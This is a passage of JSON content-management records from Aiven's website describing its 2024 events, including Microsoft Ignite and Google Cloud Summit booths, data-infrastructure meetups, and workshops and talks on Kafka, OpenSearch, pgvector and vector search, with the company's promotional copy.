leaders","variant":"logo"},{"_key":"ldmb2slhev5qen9m1tty931v7tfrfw29","_type":"iconList","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"5c6963ab-dc69-404b-af6f-d46262b3a35b","_type":"reference"},"disabled":false,"fullWidth":true,"headerPosition":"left","iconSize":24,"icons":[{"_key":"dv232x3azynovvnrz6wm6b7yox9ihjep","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-c73588011bea5b815efb960f9bb5ed6aa5a46c64-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"qwj8cef860asxakb68vswz5p7c4dgycb","_type":"block","children":[{"_key":"li34mlgo03bpcwhcelf5ymm7nymkz49a","_type":"span","marks":[],"text":"We guard your data infrastructure like our own, with dedicated virtual machines, TLS encryption and VPC peering on Microsoft Azure. SOC2, GDPR, HIPAA, and PCI DSS compliant."}],"markDefs":[],"style":"normal"}],"title":"Security"},{"_key":"4rtdi98v3bvl1n9cuxdyi92wv6cj6t37","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-0a79c1fce4fc66bc0e3e731b6cbac27ba80bfeb9-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"v4log95bi9kg2uoxdrtdxliozu5l4g3h","_type":"block","children":[{"_key":"af9u598jdl5ba6uetjwl6kp6azl7s9cb","_type":"span","marks":[],"text":"Get your questions and tickets handled by members of Aiven core development teams, instead of outsourced support specialists."}],"markDefs":[],"style":"normal"}],"title":"Support"},{"_key":"odp1mp8qouugktrsson0ef3j2xmnes5p","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-0341b1c3696da7468cfbba301dd17929b0cdc72f-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"5mqm51arudgtiumb63punlr16exr800d","_type":"block","children":[{"_key":"g3gli2cikycphkf9h652b5jttncpio9x","_type":"span","marks":[],"text":"Aiven uptimes can't be beat - we promise to have your services running 99.99% of the time."}],"markDefs":[],"style":"normal"}],"title":"Uptime"},{"_key":"odaq9z4oeeljcjfuuvrmedvj9whgmx65","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-b75b64e036bf3f1eda9c1349e49abef43314cfd1-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"mkbj2iu13bxo2d90llzdv21z7u4yrm2m","_type":"block","children":[{"_key":"ay2x74yrgv0o81g465gfajkrkmk9rfvu","_type":"span","marks":[],"text":"Receive a single invoice from Microsoft Azure, instead of two separate bills. Purchases of Aiven services through the marketplace will also count towards your cloud spending commitments with Microsoft Azure."}],"markDefs":[],"style":"normal"}],"title":"Easy billing"}],"primaryCTA":{"_type":"link","title":"Meet at Ignite 2024"},"rounded":false,"subtitle":[{"_key":"459fyalkv58qt66icay5ia1rajn2mfyy","_type":"block","children":[{"_key":"ccy0migvd51q7f060elxpai964vzckq1","_type":"span","marks":[],"text":"Instead of spending your cycles on setup, security, and system configuration, ongoing maintenance, and scaling reliably, leverage Aiven. We take care of the boring stuff for you, so you can focus on your core business and applications that amaze your customers."}],"markDefs":[],"style":"normal"}],"title":"Why Aiven on Microsoft Azure?"},{"_key":"51eea7b2c681","_type":"coverImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","captionImage":{"_type":"captionImage","image":{"_type":"mainImage","asset":{"_ref":"image-4b0950a899f8397094fa149c02509a5c3dd4812a-1264x250-svg","_type":"reference"}}},"disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none"},{"_key":"01rb9xzw4zsr4r83hymx4g3tndne2j9m","_type":"iconList","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"5c6963ab-dc69-404b-af6f-d46262b3a35b","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":true,"headerPosition":"default","iconSize":24,"icons":[{"_key":"q3njg8m5anavrs9glcgt0sdb35pewa39","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-c73588011bea5b815efb960f9bb5ed6aa5a46c64-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"o9yba9i8v98k7vl2cgnfwg9ln5irs69z","_type":"block","children":[{"_key":"xghdbjzg421m38hk7xn5now5fp5wm15j","_type":"span","marks":[],"text":"Aiven also provides "},{"_key":"ztkunmk9z12p280mxdyetfrutov0lvzu","_type":"span","marks":["2e3ca51a7f73"],"text":"AI-driven actionable insights"},{"_key":"i4yzg1fk1md4v5mmh6c5q0ofmbrxfqi9","_type":"span","marks":[],"text":" to speed up coding, optimize workloads, and reduce issue resolution time."}],"markDefs":[{"_key":"e29nzaezawl0h8njgynz67aoj5idy14z","_type":"link","href":"https://aiven.io/solutions/aiven-for-ai"}],"style":"normal"}],"title":"Accelerate application development"},{"_key":"3h33gvhp33bo5mfkxodq4y7phpjuozkk","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-9ab3575a6f790a3b87ddd3ef859c5b9082d4ae69-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"bpptkwya5vmgdtw7tjqqm4e0b2yzo5kl","_type":"block","children":[{"_key":"ggjf2r5ct0vm1pcsjmy45tkq8x3zmdo1","_type":"span","marks":[],"text":"Apply organizational policies once for security, disaster recover, and data governance across your data infrastructure."}],"markDefs":[],"style":"normal"}],"title":"Govern security and compliance"},{"_key":"v5lugzgj2smog9y1q9wy9unpqtxbkl0c","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-c368f51b75e646afb9e988f72627e49f7a0bc862-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"h3i9ragixy0qd2vwpa3vxs3x86htjgli","_type":"block","children":[{"_key":"6moexwur57uytqntsrhnh4oog02avond","_type":"span","marks":[],"text":"Deploy Aiven in your existing AWS account to take advantage of your negotiated discounts."}],"markDefs":[],"style":"normal"}],"title":"Optimize cloud costs"}],"itemsPerRow":3,"noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"#registration","title":"Schedule meeting"},"roundedCorners":"rounded-none","title":"Your trusted data \u0026 AI platform"}],"eventDetails":[{"_key":"3722308110f3","_type":"block","children":[{"_key":"835340ded941","_type":"span","marks":[],"text":"Aiven is excited to attend and sponsor Microsoft Ignite 2024! "}],"markDefs":[],"style":"normal"},{"_key":"96a8a160b2e0","_type":"block","children":[{"_key":"10ce5c8ae36c","_type":"span","marks":[],"text":"Visit "},{"_key":"96ab276eb363","_type":"span","marks":["strong"],"text":"booth 437"},{"_key":"ca7d925e5416","_type":"span","marks":[],"text":" to discuss:"}],"markDefs":[],"style":"normal"},{"_key":"11997fdac2d2","_type":"block","children":[{"_key":"599928773e220","_type":"span","marks":[],"text":"How you can optimize your cloud costs without compromising on uptime with Aiven (available on Microsoft Azure Marketplace)"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"fd1702651c87","_type":"block","children":[{"_key":"c22b78708fca0","_type":"span","marks":[],"text":"Quickly provision data infrastructure needed for your Gen AI use case"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"382c1340c145","_type":"block","children":[{"_key":"af95d7b0b0290","_type":"span","marks":[],"text":"Build a resilient cloud architecture strategy that meets your security and compliance requirements"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"eventTime":"9:00am - 6:00pm ET","eventTitle":"Microsoft Ignite 2024","iframeForm":{"iframeHeader":"Discuss AI, LLMs, cloud migrations and more! ","iframeHeight":900,"iframeSource":"https://go.aiven.io/l/890043/2024-09-24/vgmgb"},"image":{"_type":"mainImage","asset":{"_ref":"image-d34eb4542373b708eecdef524a641ebff99db082-2385x2054-png","_type":"reference"}},"qualified":{"_type":"qualifiedExperienceLink","experienceId":"experience-1706626524327","title":"Book onsite meeting"},"registrationType":"iframe"},"primaryCTA":{"_type":"link","externalUrl":"https://aiven.io/events/aws-reinvent-2023","title":"Register"},"region":"AMER","seo":{"_type":"metaData","metaDescription":"Meet the Aiven team at booth 437 during Microsoft Ignite 2024 and learn how our data and AI platform can help lower your cloud and infrastructure costs.\n\nYou can also participate in giveaways, take a quick tour of the Aiven platform, and ask us any questions you may have!","metaImage":{"_type":"mainImage","asset":{"_ref":"image-36dd3d60227427799dc73c0ca76579d56226bc98-1200x630-png","_type":"reference"}},"metaTitle":"Meet Aiven at Microsoft Ignite 2024"},"slug":{"_type":"slug","current":"/events/microsoft-ignite-2024"},"startDate":"2024-11-18T14:00:00.000Z","title":"Microsoft Ignite 2024","type":"event"} {"__i18n_lang":"en","_createdAt":"2024-07-04T01:00:47Z","_id":"8c4f2a8d-0817-4cb4-ad6c-40696cce9ff5","_rev":"ZgPiUE9lJ1tcRKuFndnDIT","_type":"event","_updatedAt":"2024-07-12T11:14:53Z","contentIsPage":false,"country":"US","description":[{"_key":"1d1e256630b1","_type":"block","children":[{"_key":"81b030a4ac850","_type":"span","marks":[],"text":"Join us for expert sessions with "},{"_key":"5c799100625f","_type":"span","marks":["c2e570ce7eca"],"text":"Jenn Junod"},{"_key":"4cd28c48527e","_type":"span","marks":[],"text":" from Aiven on \"OpenSearch + Langchain\" and "},{"_key":"a5a9a5dab20b","_type":"span","marks":["02b7f0bd73a0"],"text":"Candice You"},{"_key":"d3ba80729a87","_type":"span","marks":[],"text":" from FTI Consulting on \"Preparing Data for OpenSearch and RAG.\""}],"markDefs":[{"_key":"02b7f0bd73a0","_type":"link","href":"https://www.linkedin.com/in/candice-you-ph-d-128484a5/"},{"_key":"c2e570ce7eca","_type":"link","href":"https://www.linkedin.com/in/jennjunod/"}],"style":"normal"}],"endDate":"2024-07-16T23:00:00.000Z","hideInEventPage":false,"image":{"_type":"mainImage","alt":"A promotional slide for the NYC Open Source Data Infrastructure event. Text reads: 'NYC Open Source Data Infrastructure. Tuesday 16 July 2024 5:00PM (EDT). Andrew Heiskell Braille and Talking Book Library, 40 West 20th Street, New York, NY 10011. Sponsored by: Aiven, New York Public Library.' The background features abstract shapes in blue and orange with a dark blue overlay.","asset":{"_ref":"image-e6500887024fc14f42e7c9e1c6a707546af8c690-960x540-png","_type":"reference"}},"linkTitle":"Register","location":"New York","pageType":{"_type":"eventPage","heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"isCaptionShown":false,"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://www.meetup.com/new-york-open-source-data-infrastructure-meetup/events/300213439/","title":"Register"},"region":"AMER","startDate":"2024-07-16T21:00:00.000Z","title":"New York City Open Source Data Infrastructure Meetup","type":"meetup"} {"__i18n_lang":"en","_createdAt":"2024-10-30T14:32:37Z","_id":"bc828042-ecfc-4991-b380-0bcc7f8b36e6","_rev":"T130WEs22RB6SoEkOBsWo4","_type":"event","_updatedAt":"2024-11-19T10:08:05Z","contentIsPage":false,"description":[{"_key":"b0251b1c84e1","_type":"block","children":[{"_key":"b1360cf83caa0","_type":"span","marks":[],"text":"Join this workshop to learn how to connect text to image search using the OpenAI's CLIP model and the OpenSearch® search engine."}],"markDefs":[],"style":"normal"}],"endDate":"2024-12-10T12:00:00.000Z","image":{"_type":"mainImage","alt":"Searching for images with vector search, OpenSearch® and CLIP","asset":{"_ref":"image-657c3801f0c061128e4c44c39d6151632f9985a2-1200x628-png","_type":"reference"}},"linkTitle":"Register","location":"Online","pageType":{"_type":"eventPage","calendlyWidget":{"height":"600px"},"heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"isCaptionShown":false,"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://aiven.io/workshop/opensearch-vector-search-clip","internalLink":{"_ref":"833d32fa-9a0e-4434-b323-de3c8020cc8b","_type":"reference"},"title":"Sign up"},"startDate":"2024-12-10T11:00:00.000Z","tags":[{"_key":"1aa2a1f0113a","_ref":"01148eca-64e7-46ba-a597-5df3e2a441b0","_type":"tag"},{"_key":"b28f5099f2fc","_ref":"17773fab-43cf-4f70-873a-8da1274cde0f","_type":"tag"},{"_key":"56b7b84aa815","_ref":"38383182-1206-4b02-8aee-37da4e24f936","_type":"tag"}],"title":"Searching for images with vector search, OpenSearch® and CLIP","type":"workshop","virtualEvent":true} {"__i18n_lang":"en","_createdAt":"2024-06-24T08:07:34Z","_id":"810a3ca1-f13a-4bb4-9487-f327794fd51e","_rev":"2Op9OgqNBO1fad6OzhK4YL","_type":"event","_updatedAt":"2024-08-13T11:10:17Z","contentIsPage":false,"country":"NO","description":[{"_key":"fcbb70dbc938","_type":"block","children":[{"_key":"c8d345357517","_type":"span","marks":[],"text":"Join Olena Kutsenko for her JavaZone session \"Contextual search with vector search: exploring your options with open source tools\"."}],"markDefs":[],"style":"normal"}],"endDate":"2024-09-05T15:00:00.000Z","hideInEventPage":false,"linkTitle":"Register","location":"Olso","pageType":{"_type":"eventPage","heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"isCaptionShown":false,"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://2024.javazone.no/","title":"Attend"},"region":"EMEA","startDate":"2024-09-04T07:00:00.000Z","talks":[{"_key":"d8285c3a267f","_type":"talk","description":[{"_key":"06c49f5b5648","_type":"block","children":[{"_key":"e451e02c95c70","_type":"span","marks":[],"text":"It's fascinating how vector search boosted the usage of contextual search across numerous applications. The underlying idea is quite straightforward. For example, let's take a movie recommendation system.... "}],"markDefs":[],"style":"normal"}],"speakers":[{"_key":"d1c83ca0ee16","_ref":"0751a33e-612e-404f-9e77-0b5da9ec746a","_type":"reference"}],"title":"Contextual search with vector search: exploring your options with open source tools"}],"title":"JavaZone","type":"conference"} {"__i18n_lang":"en","_createdAt":"2024-08-13T11:40:41Z","_id":"577ca4e4-14a5-4eb1-bb4d-a4c7c8288c3c","_rev":"eaCZ7mIhmiYZX5KGqRVaHT","_type":"event","_updatedAt":"2024-09-09T06:42:30Z","contentIsPage":false,"description":[{"_key":"820395ef6327","_type":"block","children":[{"_key":"a5558436aa380","_type":"span","marks":[],"text":"Where DevOps Thought Leadership and Practice Meet"}],"markDefs":[],"style":"normal"}],"endDate":"2024-10-10T21:59:00.000Z","hideInEventPage":false,"linkTitle":"Register","location":"Online","pageType":{"_type":"eventPage","heroVisualType":"image","heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"isCaptionShown":false,"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://www.alldaydevops.com/","title":"Join"},"startDate":"2024-10-09T22:00:00.000Z","talks":[{"_key":"504d97e0a63c","_type":"talk","description":[{"_key":"eae23657e8da","_type":"block","children":[{"_key":"0e106ffa96c90","_type":"span","marks":[],"text":"It's fascinating how vector search boosted the usage of contextual search across numerous applications.\n\nThe underlying idea is quite straightforward. For example, let's take a movie recommendation system. The idea is first to represent each movie in our catalog as a vector, a numerical representation of a piece of text..."}],"markDefs":[],"style":"normal"}],"speakers":[{"_key":"2cda249b7c47","_ref":"0751a33e-612e-404f-9e77-0b5da9ec746a","_type":"reference"}],"title":"A deep dive into vector search technology and tools"}],"title":"2024 All Day DevOps","type":"event","virtualEvent":true} {"__i18n_lang":"en","_createdAt":"2024-05-01T15:25:15Z","_id":"35703b2b-1b53-478b-b7ea-eaba7d2eb9d9","_rev":"WvYfyMjuvK5pr969lRbgfI","_type":"event","_updatedAt":"2024-10-04T12:52:30Z","contentIsPage":false,"country":"CZ","description":[{"_key":"003796ac5552","_type":"block","children":[{"_key":"fc8238671920","_type":"span","marks":[],"text":"Join Tibs at EuroPython in Prague for their session \"How I used pgvector and PostgreSQL® to find pictures of me at a party\" and have some fun!"}],"markDefs":[],"style":"normal"}],"endDate":"2024-07-14T16:00:00.000Z","hideInEventPage":false,"linkTitle":"Register","location":"Prague","pageType":{"_type":"eventPage","heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"isCaptionShown":false,"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://ep2024.europython.eu/","title":"Attend"},"region":"EMEA","startDate":"2024-07-08T07:00:00.000Z","talks":[{"_key":"27f3b5fd7910","_type":"talk","description":[{"_key":"e3a0dd19b49f","_type":"block","children":[{"_key":"fb4cca77b4e1","_type":"span","marks":[],"text":"Join Tibs at EuroPython in Prague for their session \"How I used pgvector and PostgreSQL® to find pictures of me at a party\" and have some fun!"}],"markDefs":[],"style":"normal"},{"_key":"d45af81b0656","_type":"block","children":[{"_key":"6431bd830498","_type":"span","marks":[],"text":"- "},{"_key":"fbb9f3f40a53","_type":"span","marks":["b1cf5663a7d7"],"text":"Watch the video of the talk"}],"markDefs":[{"_key":"b1cf5663a7d7","_type":"link","href":"https://www.youtube.com/watch?v=qXiprdhk87g"}],"style":"normal"},{"_key":"317ebbe6ff8c","_type":"block","children":[{"_key":"471a6c69590d","_type":"span","marks":[],"text":"- Find the slides and source code on "},{"_key":"e94912f45b50","_type":"span","marks":["70b8c1043c2b"],"text":"Aiven Labs"},{"_key":"eff39172dc11","_type":"span","marks":[],"text":" "}],"markDefs":[{"_key":"70b8c1043c2b","_type":"link","href":"https://github.com/Aiven-Labs/pgvector-find-faces-talk"}],"style":"normal"}],"speakers":[{"_key":"93471fff2fd8","_ref":"39de7edc-e73b-4450-8643-685356de411c","_type":"reference"}],"title":"How I used pgvector and PostgreSQL® to find pictures of me at a party"}],"title":"EuroPython 2024","type":"conference"} {"__i18n_lang":"en","_createdAt":"2023-10-30T09:26:50Z","_id":"c0336a59-3b2f-476e-aabe-930ca718732f","_rev":"PyQmlbx4fuBwfv1MU7ySuF","_type":"event","_updatedAt":"2024-10-04T16:14:15Z","contentIsPage":false,"description":[{"_key":"d10d3c6d3c13","_type":"block","children":[{"_key":"fb1c65562dbc0","_type":"span","marks":[],"text":"In this online workshop you'll learn the basic components of Apache Kafka® and how to get started with data streaming using Python. We'll also give a brief introduction to transforming your data using Apache Flink®."}],"markDefs":[],"style":"normal"}],"endDate":"2024-10-16T18:00:00.000Z","image":{"_type":"mainImage","alt":"Learn Apache Kafka with Python | Workshop","asset":{"_ref":"image-b2588501aa5a76154dc2edef890aeb1606aa6c70-1200x628-png","_type":"reference"}},"linkTitle":"Register","pageType":{"_type":"eventPage","calendlyWidget":{"height":"600px"},"iframeForm":{"iframeHeight":800},"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://aiven.io/workshop/learn-apache-kafka-with-python","internalLink":{"_ref":"dd882356-1dca-441e-9af9-e1fe8f191102","_type":"reference"},"title":"Register"},"startDate":"2024-10-16T16:00:00.000Z","title":"Learn Apache Kafka® with Python","type":"workshop","virtualEvent":true} {"__i18n_lang":"en","_createdAt":"2024-05-09T14:57:23Z","_id":"da9c585c-4564-41b3-bd71-bb96fbb1752e","_rev":"eaCZ7mIhmiYZX5KGqKKWr9","_type":"event","_updatedAt":"2024-09-06T09:47:32Z","contentIsPage":false,"country":"NO","description":[{"_key":"6f980804ed9b","_type":"block","children":[{"_key":"bff3eca6c7970","_type":"span","marks":[],"text":"Join Olena Kutsenko and Tibs for their workshop \"Building a movie recommendation system with TensorFlow and pgvector\"."}],"markDefs":[],"style":"normal"},{"_key":"ad684f9002bf","_type":"block","children":[{"_key":"36635171f90c0","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"}],"endDate":"2024-06-14T16:00:00.000Z","hideInEventPage":false,"linkTitle":"Register","location":"Oslo","pageType":{"_type":"eventPage","heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"isCaptionShown":false,"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://ndcoslo.com/","title":"Attend"},"region":"EMEA","startDate":"2024-06-10T07:00:00.000Z","talks":[{"_key":"77d8719b6d9f","_type":"talk","description":[{"_key":"44609bdbfcab","_type":"block","children":[{"_key":"8cefdc261b570","_type":"span","marks":[],"text":"Come build a movie recommendation system from start to finish, utilizing NodeJS, TensorFlow, and PostgreSQL’s extension pgvector."}],"markDefs":[],"style":"normal"},{"_key":"ae707bf61893","_type":"block","children":[{"_key":"faf467b25ade","_type":"span","marks":[],"text":"- Find the workshop materials on "},{"_key":"d83eb5e2d604","_type":"span","marks":["4a2d14ba674e"],"text":"Aiven Labs"}],"markDefs":[{"_key":"4a2d14ba674e","_type":"link","href":"https://github.com/Aiven-Labs/pgvector-tensorflow-movie-recommendations-workshop"}],"style":"normal"}],"speakers":[{"_key":"130e311bef10","_ref":"0751a33e-612e-404f-9e77-0b5da9ec746a","_type":"reference"},{"_key":"d354b17418df","_ref":"39de7edc-e73b-4450-8643-685356de411c","_type":"reference"}],"title":"Building a movie recommendation system with TensorFlow and pgvector"}],"title":"NDC Oslo 2024","type":"conference"} {"__i18n_lang":"en","_createdAt":"2024-08-13T11:19:01Z","_id":"8744ba47-8a00-465f-8f14-26075c84f6dc","_rev":"eaCZ7mIhmiYZX5KGqRVkWf","_type":"event","_updatedAt":"2024-09-09T06:48:25Z","contentIsPage":false,"country":"LT","description":[{"_key":"279b5747a9b6","_type":"block","children":[{"_key":"3c4fc7fd510d0","_type":"span","marks":[],"text":"Big Data Conference Europe is a four-day event that focuses on technical discussions in the areas of Big Data, High Load, Data Science, Machine Learning and AI. The conference comprises a series of workshops and sessions, aimed at bringing together developers, IT professionals, and users, to share their experience, discuss best practices, describe use cases and business applications related to their successes. The event is designed to educate, inform and inspire – organized by people who are passionate about Big Data and Data Exploration."}],"markDefs":[],"style":"normal"}],"endDate":"2024-11-22T17:00:00.000Z","hideInEventPage":false,"linkTitle":"Register","location":"Vilnius, Lithuania","pageType":{"_type":"eventPage","heroVisualType":"image","heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"isCaptionShown":false,"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://bigdataconference.eu/","title":"Join"},"startDate":"2024-11-20T07:00:00.000Z","talks":[{"_key":"3636c0f66ceb","_type":"talk","description":[{"_key":"b80d5d388c62","_type":"block","children":[{"_key":"cd0d230484710","_type":"span","marks":[],"text":"Monitoring and interpreting the sentiment of data records is important for a variety of use cases. However, traditional human-based methods fall short in handling huge volumes of information with the required speed and efficiency. AI, however, can address this challenge...."}],"markDefs":[],"style":"normal"}],"speakers":[{"_key":"81e9927ed7ca","_ref":"0751a33e-612e-404f-9e77-0b5da9ec746a","_type":"reference"}],"title":"Sentiment Analysis in Action: Building Your Real-time Pipeline"}],"title":"Big Data CONFERENCE Europe 2024","type":"event"} {"__i18n_lang":"en","_createdAt":"2024-09-17T15:17:47Z","_id":"d7a6c3e9-ea90-4ce1-8009-74a871a4c42a","_rev":"etbaRJcyRvzwy2RfQMv3JE","_type":"event","_updatedAt":"2024-09-17T15:18:02Z","contentIsPage":false,"country":"CA","description":[{"_key":"0d8bcc3379d9","_type":"block","children":[{"_key":"46a5fa13ec6b","_type":"span","marks":[],"text":"Join the Toronto Open Source Data Infrastructure meetup for talks by Eddy Zulkifly, Staff Data Engineer @Kinaxis and Jay Miller, Staff Developer Advocate at Aiven."}],"markDefs":[],"style":"normal"}],"endDate":"2024-10-09T00:00:00.000Z","hideInEventPage":false,"linkTitle":"Register","location":"Toronto","pageType":{"_type":"eventPage","heroVisualType":"image","heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"isCaptionShown":false,"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://www.meetup.com/toronto-open-source-data-infrastructure-meetup/events/303094887/?eventOrigin=home_next_event_you_are_hosting","title":"Register"},"region":"AMER","startDate":"2024-10-08T22:00:00.000Z","title":"Toronto OSDI","type":"meetup"} {"__i18n_lang":"en","_createdAt":"2024-09-03T14:12:46Z","_id":"c8e22c48-b0ec-430a-bb5c-6a76dafee5e4","_rev":"YF0kK6uALbD7UqCF6F1i1f","_type":"event","_updatedAt":"2024-09-26T12:37:33Z","contentIsPage":true,"country":"GB","description":[{"_key":"ad965e7c9d01","_type":"block","children":[{"_key":"8ca40a5b2dd50","_type":"span","marks":[],"text":"Meet with Aiven at the upcoming Google Cloud Summit London on 9-10 October 2024 to learn how our trusted Data and AI platform can help you build innovative applications at scale. "}],"markDefs":[],"style":"normal"}],"endDate":"2024-10-10T17:30:00.000Z","linkTitle":"Meet with Aiven!","location":"Tobacco Dock, London E1W 2SF","pageType":{"_type":"eventPage","content":[{"_key":"69f12487f7f9","_type":"iconList","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"2cc54700-0d3f-443a-9277-51ed0a3ae1c8","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":true,"disabled":false,"fullWidth":false,"headerPosition":"default","iconSize":24,"icons":[{"_key":"121d38420421","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-73a25c406ca043f1861705a1aa9431c4f7f9aeeb-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"52e0f63497b8","_type":"block","children":[{"_key":"532257bd6af90","_type":"span","marks":[],"text":"Integrate Aiven for Apache Kafka® with BigQuery and process data, in real-time, with Aiven for Apache Flink®."}],"markDefs":[],"style":"normal"}],"title":"Smart analytics"},{"_key":"87531d2b4024cc3477329aceced2c12e","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-30a5bd1f5d660a3b70fa5c8672d4e8d0ddc69e38-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"0ccfeb6b822f","_type":"block","children":[{"_key":"64885e380f440","_type":"span","marks":[],"text":"Run Cassandra and Vertex AI together to build Feature Stores that enrich data for better model performance."}],"markDefs":[],"style":"normal"}],"title":"Powerful ML"},{"_key":"4e579e9137bd","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-8bf6307344286cf3f810660569ecb590fee7fca8-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"2f4d3102b83a","_type":"block","children":[{"_key":"7fd7fb6233700","_type":"span","marks":[],"text":"With Aiven for AI Vector Databases, power vector similarity search - the foundational data that drives GenAI and increases the relevance of search results and LLMs."}],"markDefs":[],"style":"normal"}],"title":"Your path to GenAI"},{"_key":"87c286237d3f6b3697260943cab4820d","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-092f95c7546f16488994272d57c0d36d60efb70b-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"73cdc34a8bc8","_type":"block","children":[{"_key":"61faeab9d7ad0","_type":"span","marks":[],"text":"Use an open source Observability stack to scale systems in real-time."}],"markDefs":[],"style":"normal"}],"title":"Automated scaling"}],"itemsPerRow":2,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded","title":"Build with Aiven on Google Cloud"},{"_key":"4669c45f4bd8","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":true,"backgroundColor":{"_ref":"5c6963ab-dc69-404b-af6f-d46262b3a35b","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":true,"primaryCTA":{"_type":"link","externalUrl":"https://console.cloud.google.com/marketplace/product/aiven-public/aiven?pli=1","title":"Learn more"},"roundedCorners":"rounded","subtitle":[{"_key":"c9ac496f1404","_type":"block","children":[{"_key":"bdd6ac0e42600","_type":"span","marks":[],"text":"Your one stop shop for everything Aiven on Google Cloud! Migrate today to the Marketplace to enjoy the best of Aiven and Google Cloud."}],"markDefs":[],"style":"normal"},{"_key":"32da8e867e03","_type":"block","children":[{"_key":"892d5a11ab0e0","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"}],"title":"Available on Google Cloud Marketplace","variant":"centerColumn"},{"_key":"a7df905c9374","_type":"iconList","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"5c6963ab-dc69-404b-af6f-d46262b3a35b","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":true,"headerPosition":"default","iconSize":24,"icons":[{"_key":"cb58bb6bdce9","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-c73588011bea5b815efb960f9bb5ed6aa5a46c64-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"6178760fb2a6","_type":"block","children":[{"_key":"f7ce727b89280","_type":"span","marks":[],"text":"Relax with Aiven’s industry-best SLAs - we promise to have your services running 99.99% of the time. That's 4 minutes of downtime per month."}],"markDefs":[],"style":"normal"}],"title":"Uptime"},{"_key":"4c1e68926472","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-9ab3575a6f790a3b87ddd3ef859c5b9082d4ae69-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"82fb52c8904d","_type":"block","children":[{"_key":"1dd4dd5223590","_type":"span","marks":[],"text":"Aiven services run on dedicated virtual machines with end-to-end encryption and our platform is ISO 27001:2013, SOC 2, GDPR, and HIPAA compliant."}],"markDefs":[],"style":"normal"}],"title":"Security and compliance"},{"_key":"e3656ce8a1f6","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-c368f51b75e646afb9e988f72627e49f7a0bc862-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"890e3cafb61f","_type":"block","children":[{"_key":"95c7fdfec0f40","_type":"span","marks":[],"text":"Customers love our expert 24/7 support, available 365 days a year. We’re there for you when you need us."}],"markDefs":[],"style":"normal"}],"title":"World class support"}],"itemsPerRow":3,"noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"#registration","title":"Schedule meeting"},"roundedCorners":"rounded-none","title":"Your Trusted Data and AI 